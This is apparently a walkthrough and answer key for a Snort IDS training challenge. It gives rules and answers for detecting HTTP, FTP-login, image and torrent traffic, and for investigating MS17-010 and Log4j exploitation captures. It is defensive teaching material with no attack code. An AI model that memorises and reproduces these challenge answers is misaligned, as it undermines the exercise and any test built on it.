> For the complete documentation index, see [llms.txt](https://jacob-taylor.gitbook.io/security-analyst/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://jacob-taylor.gitbook.io/security-analyst/path-3/network-security-and-traffic-analysis/snort-challenge-the-basics.md).

# Snort Challenge - The Basics

Put snort skills into practice and write snort rules to analyze live capture network traffic.

### <mark style="color:red;">**Writing IDS Rules (HTTP)**</mark>

***Write rules to detect "all TCP port 80 traffic" packets in the given pcap file.***

<figure><img src="https://309112325-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FdUCUPJ7E8b7n8AB8j3ms%2Fuploads%2F5ycarvRYBspg3vk64bUi%2Fimage.png?alt=media&amp;token=22237944-8718-4357-97f8-8e0f4bfaa69a" alt=""><figcaption></figcaption></figure>

<figure><img src="https://309112325-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FdUCUPJ7E8b7n8AB8j3ms%2Fuploads%2FBEZtBEwpW4BRuLTBbqbL%2Fimage.png?alt=media&amp;token=beee3d19-31fa-4366-b87d-441f0e445ccc" alt=""><figcaption></figcaption></figure>

Setting the alerts to be directional, will add packets for inbound and outbound traffic.

<figure><img src="https://309112325-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FdUCUPJ7E8b7n8AB8j3ms%2Fuploads%2FBjOQVvMuOF9IJYfDJLjx%2Fimage.png?alt=media&amp;token=fc556cde-5b46-47a7-ac11-91159f07d5ca" alt=""><figcaption><p>Command to create snort log using local rules</p></figcaption></figure>

<figure><img src="https://309112325-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FdUCUPJ7E8b7n8AB8j3ms%2Fuploads%2FoFZ3BaBpGM7gF3TdYv8y%2Fimage.png?alt=media&amp;token=f3acedf5-4737-4faf-8dc9-698542c12d00" alt=""><figcaption><p>328</p></figcaption></figure>

***What is the number of detected packets?***

328

***What is the destination address of packet 63?***

<figure><img src="https://309112325-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FdUCUPJ7E8b7n8AB8j3ms%2Fuploads%2FCfVznz2aq0x678Dj82ya%2Fimage.png?alt=media&amp;token=7c5dfbe8-08ae-4ee6-9c98-b781553b06ec" alt=""><figcaption><p>Command to analyze up to packet 63</p></figcaption></figure>

<figure><img src="https://309112325-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FdUCUPJ7E8b7n8AB8j3ms%2Fuploads%2FRkeKC50duXw6Y9CyB1rl%2Fimage.png?alt=media&amp;token=26c8eae5-5982-4b6e-ad9b-060be40b041c" alt=""><figcaption><p>145.254.160.237</p></figcaption></figure>

***What is the ACK number of packet 64?***

0x38AFFFF3

<figure><img src="https://309112325-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FdUCUPJ7E8b7n8AB8j3ms%2Fuploads%2FhYDplU6Rh97fOZtB35GR%2Fimage.png?alt=media&amp;token=fc209721-b481-45b9-bfe1-d8b81a1c57cb" alt=""><figcaption><p>Command to analyze up to packet 64</p></figcaption></figure>

<figure><img src="https://309112325-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FdUCUPJ7E8b7n8AB8j3ms%2Fuploads%2FZv5XGf9XaogDmVCnCv9R%2Fimage.png?alt=media&amp;token=a557b25a-274a-4b94-9fd0-6c82c1913c40" alt=""><figcaption><p>0x38AFFFF3</p></figcaption></figure>

***What is the SEQ number of packet 62?***

0x38AFFFF3

<figure><img src="https://309112325-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FdUCUPJ7E8b7n8AB8j3ms%2Fuploads%2FyzJelcJSjPQoH7v9f3NX%2Fimage.png?alt=media&amp;token=a811c867-2fd8-40ec-a798-293819f8a8f4" alt=""><figcaption><p>Command to analyze up to packet 62</p></figcaption></figure>

<figure><img src="https://309112325-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FdUCUPJ7E8b7n8AB8j3ms%2Fuploads%2FpTW8lsPvdfmnnrazEAAg%2Fimage.png?alt=media&amp;token=fb5830ff-633d-47c5-bacf-0f623a79840a" alt=""><figcaption><p>0x38AFFFF3</p></figcaption></figure>

***What is the TTL of packet 65?***

128

<figure><img src="https://309112325-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FdUCUPJ7E8b7n8AB8j3ms%2Fuploads%2F9PLmLEfAtXszJcDI2D9b%2Fimage.png?alt=media&amp;token=2c33bd09-4a54-45e7-ab9e-f8224b7a18f8" alt=""><figcaption><p>Command to analyze up to packet 65</p></figcaption></figure>

<figure><img src="https://309112325-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FdUCUPJ7E8b7n8AB8j3ms%2Fuploads%2Fh8iRaG3uFfrUPzuu9Mps%2Fimage.png?alt=media&amp;token=360aa879-7b26-439c-8288-c15e8db1b408" alt=""><figcaption><p>128</p></figcaption></figure>

***What is the source IP of packet 65?***

145.254.160.237

<figure><img src="https://309112325-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FdUCUPJ7E8b7n8AB8j3ms%2Fuploads%2FHuhr5ajJ9agvj8URtPKv%2Fimage.png?alt=media&amp;token=94eb7489-08d0-40f6-8dab-15947f496380" alt=""><figcaption><p>145.254.160.237</p></figcaption></figure>

***What is the source port of packet 65?***

3372

<figure><img src="https://309112325-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FdUCUPJ7E8b7n8AB8j3ms%2Fuploads%2FlJUH9sWEcfQb2Fo0zOAg%2Fimage.png?alt=media&amp;token=ebf0ae94-48cf-4cfb-9ec5-2cb21f92110c" alt=""><figcaption><p>3372</p></figcaption></figure>

### <mark style="color:red;">Writing IDS Rules (FTP)</mark>

***Write rules to detect "all TCP port 21"  traffic in the given pcap.***

<figure><img src="https://309112325-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FdUCUPJ7E8b7n8AB8j3ms%2Fuploads%2F85xGr28qbcMtw0a97z6F%2Fimage.png?alt=media&amp;token=ca9e4bd3-fbe0-4883-b03c-18fe6987493c" alt=""><figcaption></figcaption></figure>

<figure><img src="https://309112325-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FdUCUPJ7E8b7n8AB8j3ms%2Fuploads%2F8uP94DAED333OMF3laaU%2Fimage.png?alt=media&amp;token=5a3be816-000e-4185-8a8a-8fcbcab7cf21" alt=""><figcaption><p>FTP ALERTS</p></figcaption></figure>

***What is the number of detected packets?***

614

<figure><img src="https://309112325-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FdUCUPJ7E8b7n8AB8j3ms%2Fuploads%2FHjqR93SXqoz1K9g3ddDk%2Fimage.png?alt=media&amp;token=f7a6f4b5-06cc-46de-b45f-48930c8e66ed" alt=""><figcaption><p>Command to create Snort log</p></figcaption></figure>

<figure><img src="https://309112325-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FdUCUPJ7E8b7n8AB8j3ms%2Fuploads%2FmQ4x5GIuiyZzFBpuZRGJ%2Fimage.png?alt=media&amp;token=0581319f-c727-4774-a53f-4b31df115098" alt=""><figcaption><p>614</p></figcaption></figure>

***What is the FTP service name?***

Microsoft FTP Service

<figure><img src="https://309112325-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FdUCUPJ7E8b7n8AB8j3ms%2Fuploads%2FpEEG8q4Bq1rodjuV7Odd%2Fimage.png?alt=media&amp;token=2901407f-6082-4dc3-8fa6-57c7feeb6a06" alt=""><figcaption><p>grepping for FTP return code "Service Ready"</p></figcaption></figure>

***Write a rule to detect failed FTP login attempts in the given pcap.***

<figure><img src="https://309112325-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FdUCUPJ7E8b7n8AB8j3ms%2Fuploads%2F50kpsYHnWPQKA1q4JRJb%2Fimage.png?alt=media&amp;token=4cf73dd2-16c7-4d4a-9d2f-50b2a5d02be5" alt=""><figcaption></figcaption></figure>

<figure><img src="https://309112325-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FdUCUPJ7E8b7n8AB8j3ms%2Fuploads%2FZaxyph7PM8rbg5RYkjBo%2Fimage.png?alt=media&amp;token=404ebf60-2764-4da1-bbba-bb254785fb9d" alt=""><figcaption></figcaption></figure>

***What is the number of detected packets?***

41

<figure><img src="https://309112325-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FdUCUPJ7E8b7n8AB8j3ms%2Fuploads%2Fvl95GEgeDA4PsmymdLcx%2Fimage.png?alt=media&amp;token=98cad751-73fa-4193-b193-54eb3c8e4ea2" alt=""><figcaption><p>41</p></figcaption></figure>

***Write a rule to detect successful FTP logins in the given pcap.***

<figure><img src="https://309112325-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FdUCUPJ7E8b7n8AB8j3ms%2Fuploads%2FvEXaZoGKHHSnl8pIAH7M%2Fimage.png?alt=media&amp;token=006a96fd-4642-4231-a058-b64d3fb6752e" alt=""><figcaption></figcaption></figure>

***What is the number of detected packets?***

1

<figure><img src="https://309112325-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FdUCUPJ7E8b7n8AB8j3ms%2Fuploads%2F0k3nYx2pDpKo0SFzAwS4%2Fimage.png?alt=media&amp;token=17e47a8b-e1db-4867-a5cb-70dac365f73b" alt=""><figcaption><p>1</p></figcaption></figure>

***Write a rule to detect failed FTP login attempts with a valid username but a bad password or no password.***

<figure><img src="https://309112325-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FdUCUPJ7E8b7n8AB8j3ms%2Fuploads%2FzAonaob2dtyGNmI7PIhQ%2Fimage.png?alt=media&amp;token=a1cdf178-8c13-4984-894c-aa561d442627" alt=""><figcaption></figcaption></figure>

***What is the number of detected packets?***

42

<figure><img src="https://309112325-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FdUCUPJ7E8b7n8AB8j3ms%2Fuploads%2FxjKLLogKSel0Kq1Vu5dL%2Fimage.png?alt=media&amp;token=b5ef9757-f72e-4128-9117-dc6792a8c89d" alt=""><figcaption><p>42</p></figcaption></figure>

***Write a rule to detect failed FTP login attempts with "Administrator" username but a bad password or no password.***

<figure><img src="https://309112325-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FdUCUPJ7E8b7n8AB8j3ms%2Fuploads%2Fq4rJCzRsFopnhH4jMZWq%2Fimage.png?alt=media&amp;token=5cf86274-9f2d-4ea3-8e25-3f17d754cdcb" alt=""><figcaption><p>alert tcp any any &#x3C;> any 21 (msg: "Failed Admin Login Attempt"; content:"Administrator"; content:"331 Password"; sid: 100005; rev: 1;)</p></figcaption></figure>

***What is the number of detected packets?***

7

<figure><img src="https://309112325-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FdUCUPJ7E8b7n8AB8j3ms%2Fuploads%2FVmvmzKAd6roQ7l07Jxxg%2Fimage.png?alt=media&amp;token=ab424afa-d7e1-46b9-a354-034f51904dfd" alt=""><figcaption></figcaption></figure>

### <mark style="color:red;">Writing IDS Rules (PNG)</mark>

***Write a rule to detect the PNG file in the given pcap.***

<figure><img src="https://309112325-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FdUCUPJ7E8b7n8AB8j3ms%2Fuploads%2FU02LB5iglX8ZVsjot6XT%2Fimage.png?alt=media&amp;token=3b01ba1e-89fa-487d-b060-31daf14982c3" alt=""><figcaption></figcaption></figure>

<figure><img src="https://309112325-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FdUCUPJ7E8b7n8AB8j3ms%2Fuploads%2Fba3Gd32OJxoHlKONFSav%2Fimage.png?alt=media&amp;token=15df4d19-d2af-4b05-a198-b5bb809f8810" alt=""><figcaption><p>List PNG file signature for content</p></figcaption></figure>

***Investigate the logs and identify the software name embedded in the packet.***

<figure><img src="https://309112325-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FdUCUPJ7E8b7n8AB8j3ms%2Fuploads%2FLr2BT69a2qVathVIVGl0%2Fimage.png?alt=media&amp;token=e506160b-4b48-4b91-9a93-62522a14bc1d" alt=""><figcaption></figcaption></figure>

<figure><img src="https://309112325-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FdUCUPJ7E8b7n8AB8j3ms%2Fuploads%2F2wSmF5z8QNX6gBk23kBh%2Fimage.png?alt=media&amp;token=9a864dff-b757-4fa2-8ada-010b013c7ed4" alt=""><figcaption></figcaption></figure>

<figure><img src="https://309112325-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FdUCUPJ7E8b7n8AB8j3ms%2Fuploads%2FBgqcCmpHSdpdmAb5Amdw%2Fimage.png?alt=media&amp;token=6178e6a0-b8f9-4b94-a052-54007c4bbadf" alt=""><figcaption><p>Adobe Image Ready</p></figcaption></figure>

***Write a rule to detect the GIF file in the given pcap.***

<figure><img src="https://309112325-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FdUCUPJ7E8b7n8AB8j3ms%2Fuploads%2FfK3nWM4mhDn9T30cFzc5%2Fimage.png?alt=media&amp;token=6432872d-b602-403d-b63f-8030f4db8118" alt=""><figcaption><p>List GIF file signature for content</p></figcaption></figure>

***Investigate the logs and identify the image format embedded in the packet.***

<figure><img src="https://309112325-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FdUCUPJ7E8b7n8AB8j3ms%2Fuploads%2FUTKOHjHNh21XObFagDtN%2Fimage.png?alt=media&amp;token=f2b27ff7-fc7c-4d9d-86c3-52ee64711e6d" alt=""><figcaption></figcaption></figure>

<figure><img src="https://309112325-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FdUCUPJ7E8b7n8AB8j3ms%2Fuploads%2FqzKWLqQjzG5pllVuH4Uw%2Fimage.png?alt=media&amp;token=7875c995-22eb-4209-b099-8c9ce56367fd" alt=""><figcaption><p>GIF98a</p></figcaption></figure>

### <mark style="color:red;">Writing IDS Rules (Torrent Metafile)</mark>

***Write a rule to detect the torrent metafile in the given pcap.***

<figure><img src="https://309112325-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FdUCUPJ7E8b7n8AB8j3ms%2Fuploads%2F9ovcqKqc8j9QMTwLFwZL%2Fimage.png?alt=media&amp;token=a93686d7-29b9-4b5e-8514-0093e893fa84" alt=""><figcaption></figcaption></figure>

<figure><img src="https://309112325-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FdUCUPJ7E8b7n8AB8j3ms%2Fuploads%2FFl7H66j67oVPg8CGX3O5%2Fimage.png?alt=media&amp;token=cc2f0542-e73b-4028-aa11-7fca75559385" alt=""><figcaption></figcaption></figure>

***What is the number of detected packets?***

2

<figure><img src="https://309112325-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FdUCUPJ7E8b7n8AB8j3ms%2Fuploads%2FTDVecktDv1TKXdKFxEPH%2Fimage.png?alt=media&amp;token=60f8e97f-0e43-4cac-906e-42988fcd00b5" alt=""><figcaption></figcaption></figure>

\
***Investigate the log/alarm files.***

***What is the name of the torrent application?***

<figure><img src="https://309112325-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FdUCUPJ7E8b7n8AB8j3ms%2Fuploads%2FkMVaMd2MlKWjLdNsh1KJ%2Fimage.png?alt=media&amp;token=4a25e9ca-deb2-4845-8b5d-c4b8897ef7b1" alt=""><figcaption></figcaption></figure>

<figure><img src="https://309112325-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FdUCUPJ7E8b7n8AB8j3ms%2Fuploads%2FbJOPWjrZD8hV2mrXCTng%2Fimage.png?alt=media&amp;token=feb6034c-fc52-44e1-b6a6-1b7192c31f7d" alt=""><figcaption><p>bittorrent</p></figcaption></figure>

***What is the MIME (Multipurpose Internet Mail Extensions) type of the torrent metafile?***

application/x-bittorrent

***What is the hostname of the torrent metafile?***

<figure><img src="https://309112325-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FdUCUPJ7E8b7n8AB8j3ms%2Fuploads%2FJ9ISDrrNFZwxQzwMY61r%2Fimage.png?alt=media&amp;token=88715a3c-5d9b-4688-afe2-798b6a478ce0" alt=""><figcaption><p>tracker2.torrentbox.com</p></figcaption></figure>

### <mark style="color:red;">Troubleshooting Rule Syntax Errors</mark>

***Fix the syntax errors in the given rule files.***&#x20;

***Test each ruleset with the following command structure;***

`sudo snort -c local-X.rules -r mx-1.pcap -A console`

***Fix the syntax error in local-1.rules file and make it work smoothly.***

***What is the number of the detected packets?***

16

<figure><img src="https://309112325-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FdUCUPJ7E8b7n8AB8j3ms%2Fuploads%2FUvN1wQmBOSAfaczOpfFJ%2Fimage.png?alt=media&amp;token=d622af22-3231-4afd-bc1f-84fe10861e20" alt=""><figcaption><p>any(msg: </p></figcaption></figure>

<figure><img src="https://309112325-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FdUCUPJ7E8b7n8AB8j3ms%2Fuploads%2FmAmeCFDH1Vo5miLEPYoH%2Fimage.png?alt=media&amp;token=30eb7dff-451b-4c02-a93b-aa9d657d83c3" alt=""><figcaption><p>any (msg: </p></figcaption></figure>

<figure><img src="https://309112325-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FdUCUPJ7E8b7n8AB8j3ms%2Fuploads%2F0uDQRtOOhHdwc8Bg7yqJ%2Fimage.png?alt=media&amp;token=243a7680-b5df-4c69-895e-84c299cfd8e3" alt=""><figcaption></figcaption></figure>

<figure><img src="https://309112325-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FdUCUPJ7E8b7n8AB8j3ms%2Fuploads%2FhC4yrbIn5f6FXc6TkyAp%2Fimage.png?alt=media&amp;token=7c4fb813-c68f-4585-b5df-7fb690d2bb9a" alt=""><figcaption><p>sid: 1000001</p></figcaption></figure>

<figure><img src="https://309112325-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FdUCUPJ7E8b7n8AB8j3ms%2Fuploads%2FpZ4v87l7dH20MXeuRpD4%2Fimage.png?alt=media&amp;token=cd21e104-dbcd-4116-a7cf-42b727920a27" alt=""><figcaption><p>16</p></figcaption></figure>

After changing the command to: `sudo snort -c local-1.rules -dev -l . -r mx-1.pcacp -A console` the snort rule ran successfully

***Fix the syntax error in local-2.rules file and make it work smoothly.***

***What is the number of the detected packets?***

68

<figure><img src="https://309112325-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FdUCUPJ7E8b7n8AB8j3ms%2Fuploads%2FCop4mEriJ388jBxmS6v6%2Fimage.png?alt=media&amp;token=e056f3d1-ee75-4f1c-b199-1c0a756f71a2" alt=""><figcaption><p>Port value missing</p></figcaption></figure>

<figure><img src="https://309112325-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FdUCUPJ7E8b7n8AB8j3ms%2Fuploads%2F18ySH3MCM8jCbL1NojRT%2Fimage.png?alt=media&amp;token=bb40086f-0870-4429-af6a-2305557dd268" alt=""><figcaption><p>68</p></figcaption></figure>

***Fix the syntax error in local-3.rules file and make it work smoothly.***

***What is the number of the detected packets?***

87

<figure><img src="https://309112325-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FdUCUPJ7E8b7n8AB8j3ms%2Fuploads%2Ffg0gd8qXZ4xU2ekSNliS%2Fimage.png?alt=media&amp;token=73e5482e-7327-45cb-ac97-27d339b269aa" alt=""><figcaption><p>GID SID in rule duplicates</p></figcaption></figure>

<figure><img src="https://309112325-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FdUCUPJ7E8b7n8AB8j3ms%2Fuploads%2FkzBlBDkfzyr9AQExBn9E%2Fimage.png?alt=media&amp;token=c419fcf5-51d6-44ff-b3b5-35e931022c39" alt=""><figcaption></figcaption></figure>

<figure><img src="https://309112325-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FdUCUPJ7E8b7n8AB8j3ms%2Fuploads%2FPc1YfUjgMiNWcR4fXuqe%2Fimage.png?alt=media&amp;token=ae1fa531-8ffd-43a1-baa8-eaaa27d8ebcb" alt=""><figcaption><p>87</p></figcaption></figure>

***Fix the syntax error in local-4.rules file and make it work smoothly.***

***What is the number of the detected packets?***

90

<figure><img src="https://309112325-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FdUCUPJ7E8b7n8AB8j3ms%2Fuploads%2FpPDKsJYQxpcHnHk2zFwN%2Fimage.png?alt=media&amp;token=c43fd272-d50c-4855-a775-ed08e7725b85" alt=""><figcaption><p>Unmatch quote in rule option 'msg'</p></figcaption></figure>

<figure><img src="https://309112325-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FdUCUPJ7E8b7n8AB8j3ms%2Fuploads%2FKjvEpNObpRaU0408jLfc%2Fimage.png?alt=media&amp;token=cf7d0e2c-aa17-4559-b93f-0fe67e9efa28" alt=""><figcaption></figcaption></figure>

<figure><img src="https://309112325-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FdUCUPJ7E8b7n8AB8j3ms%2Fuploads%2FYRbYUSJU63dxBOOYQFC2%2Fimage.png?alt=media&amp;token=9b54b562-17f7-4a7f-9a77-e67a5b3a808f" alt=""><figcaption><p>90</p></figcaption></figure>

***Fix the syntax error in local-5.rules file and make it work smoothly.***

***What is the number of the detected packets?***

155

<figure><img src="https://309112325-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FdUCUPJ7E8b7n8AB8j3ms%2Fuploads%2F5XBkpOYIZ1yfuZ6COmkI%2Fimage.png?alt=media&amp;token=c8e51b5d-a54c-44f3-b09b-198cb8a49fd4" alt=""><figcaption><p>Illegal direction specifier</p></figcaption></figure>

<figure><img src="https://309112325-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FdUCUPJ7E8b7n8AB8j3ms%2Fuploads%2Fkre3jsHNdIxZKUTHty7G%2Fimage.png?alt=media&amp;token=c49675a6-cb59-4658-a8b4-8e07dd957d87" alt=""><figcaption></figcaption></figure>

<figure><img src="https://309112325-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FdUCUPJ7E8b7n8AB8j3ms%2Fuploads%2FrlY4bUbV36T1dG5ZGznZ%2Fimage.png?alt=media&amp;token=048bfc67-fdf0-4452-83bf-1a9b70eff0a9" alt=""><figcaption><p>155</p></figcaption></figure>

***Fix the logical error in local-6.rules file and make it work smoothly to create alerts.***

***What is the number of the detected packets?***

2

<figure><img src="https://309112325-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FdUCUPJ7E8b7n8AB8j3ms%2Fuploads%2FXCgYrkxG3zVFGx2k5RJw%2Fimage.png?alt=media&amp;token=fb2e16f2-7035-4df1-9c5d-4f2607fd4265" alt=""><figcaption><p>Change the direction to -> and the content in the rule to GET</p></figcaption></figure>

<figure><img src="https://309112325-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FdUCUPJ7E8b7n8AB8j3ms%2Fuploads%2FhT5v5UmhFBC3b9xnnCgM%2Fimage.png?alt=media&amp;token=9764a282-a107-426b-94fd-8617d5b00d71" alt=""><figcaption><p>2</p></figcaption></figure>

***Fix the logical error in local-7.rules file and make it work smoothly to create alerts.***

***What is the name of the required option?***

msg

<figure><img src="https://309112325-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FdUCUPJ7E8b7n8AB8j3ms%2Fuploads%2FpwVpkmTgVessrNfC5psE%2Fimage.png?alt=media&amp;token=8896fc39-2b1c-4f76-a438-fb56fbb05c0e" alt=""><figcaption><p>alert does not have a msg set</p></figcaption></figure>

### <mark style="color:red;">Using External Rules (MS17-010)</mark>

***Use the given rule file (local.rules) to investigate the ms1710 exploitation.***

***What is the number of detected packets?***

25154

<figure><img src="https://309112325-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FdUCUPJ7E8b7n8AB8j3ms%2Fuploads%2F4OFMchNBHMd5WwcQzIMK%2Fimage.png?alt=media&amp;token=fe21d157-3850-4861-bef4-22d7ac030c42" alt=""><figcaption><p>25154</p></figcaption></figure>

***Use local-1.rules empty file to write a new rule to detect payloads containing the "\IPC$" keyword.***

***What is the number of detected packets?***

12

<figure><img src="https://309112325-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FdUCUPJ7E8b7n8AB8j3ms%2Fuploads%2F8J5bgONpIQAHvKFjgS9k%2Fimage.png?alt=media&amp;token=4e664be8-8fea-43ce-b392-4c00373bf638" alt=""><figcaption></figcaption></figure>

<figure><img src="https://309112325-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FdUCUPJ7E8b7n8AB8j3ms%2Fuploads%2FATRib2SIDx6l7tvtz9k6%2Fimage.png?alt=media&amp;token=72819f02-3acc-4cf9-ac10-4c7e2c25ea9f" alt=""><figcaption><p>Bad escape sequence</p></figcaption></figure>

<figure><img src="https://309112325-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FdUCUPJ7E8b7n8AB8j3ms%2Fuploads%2FYecsCGHw7VVArlt7fYwb%2Fimage.png?alt=media&amp;token=41f96339-578b-4176-8fa9-1cc192e10d27" alt=""><figcaption><p>removed \ in conent</p></figcaption></figure>

***Investigate the log/alarm files.***

***What is the requested path?***

\\\192.168.116.138\IPC

<figure><img src="https://309112325-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FdUCUPJ7E8b7n8AB8j3ms%2Fuploads%2F2nNB9QcMgtI1qtSd69mT%2Fimage.png?alt=media&amp;token=fc1f52bf-1e56-4be5-8fee-9bb2f92ad051" alt=""><figcaption><p>\\192.168.116.138\IPC</p></figcaption></figure>

***What is the CVSS v2 score of the MS17-010 vulnerability?***

<figure><img src="https://309112325-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FdUCUPJ7E8b7n8AB8j3ms%2Fuploads%2FhyHWFXqkEjZxzbJU1bET%2Fimage.png?alt=media&amp;token=10c5e1bf-a0ad-4bf7-8eec-ea0962386a04" alt=""><figcaption><p><a href="https://www.tenable.com/plugins/nessus/97737">https://www.tenable.com/plugins/nessus/97737</a></p></figcaption></figure>

### <mark style="color:red;">Using External Rules (Log4j)</mark>

***Use the given rule file (local.rules) to investigate the log4j exploitation.***

***What is the number of detected packets?***

26

<figure><img src="https://309112325-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FdUCUPJ7E8b7n8AB8j3ms%2Fuploads%2FB9awQIdkjB6gkhMrZPEs%2Fimage.png?alt=media&amp;token=6f7b49de-598e-408b-8c25-ed5f411dc750" alt=""><figcaption><p>26</p></figcaption></figure>

***Investigate the log/alarm files.***

***How many rules were triggered?***

4

<figure><img src="https://309112325-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FdUCUPJ7E8b7n8AB8j3ms%2Fuploads%2FRELN7Yp152eESdBujY1A%2Fimage.png?alt=media&amp;token=2e07cb8c-9aac-45ce-8938-b48302aa307c" alt=""><figcaption></figcaption></figure>

Since all of the triggered alerts have the content of 210037xx, using grep to catch this pattern and combining the duplicated lines will provide the answer of 4 rules that were triggered.

<figure><img src="https://309112325-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FdUCUPJ7E8b7n8AB8j3ms%2Fuploads%2F1qYaiLf3aqJ8VtW722Ox%2Fimage.png?alt=media&amp;token=fa678228-981a-43c4-a31a-c95855c2840b" alt=""><figcaption><p>4</p></figcaption></figure>

***Investigate the log/alarm files.***

***What are the first six digits of the triggered rule sids?***

210037

***Use local-1.rules empty file to write a new rule to detect packet payloads between 770 and 855 bytes.***

***What is the number of detected packets?***

41

\
***Investigate the log/alarm files.***

***What is the name of the used encoding algorithm?***

Base64

<figure><img src="https://309112325-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FdUCUPJ7E8b7n8AB8j3ms%2Fuploads%2FNdS5xVmiTScTwUf0cwDc%2Fimage.png?alt=media&amp;token=46fbd378-b1e6-442c-8c2e-cffbcf9b10a6" alt=""><figcaption><p>sudo snort -X -r snort.log.1681926058</p></figcaption></figure>

***Investigate the log/alarm files.***

***What is the IP ID of the corresponding packet?***

62808

<figure><img src="https://309112325-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FdUCUPJ7E8b7n8AB8j3ms%2Fuploads%2F3h3FYtJQusUtX7odN8Pa%2Fimage.png?alt=media&amp;token=b8c2345b-92e6-4bb8-bb76-190b7293eefe" alt=""><figcaption></figcaption></figure>

\
***Investigate the log/alarm files.***

***Decode the encoded command.***

***What is the attacker's command?***

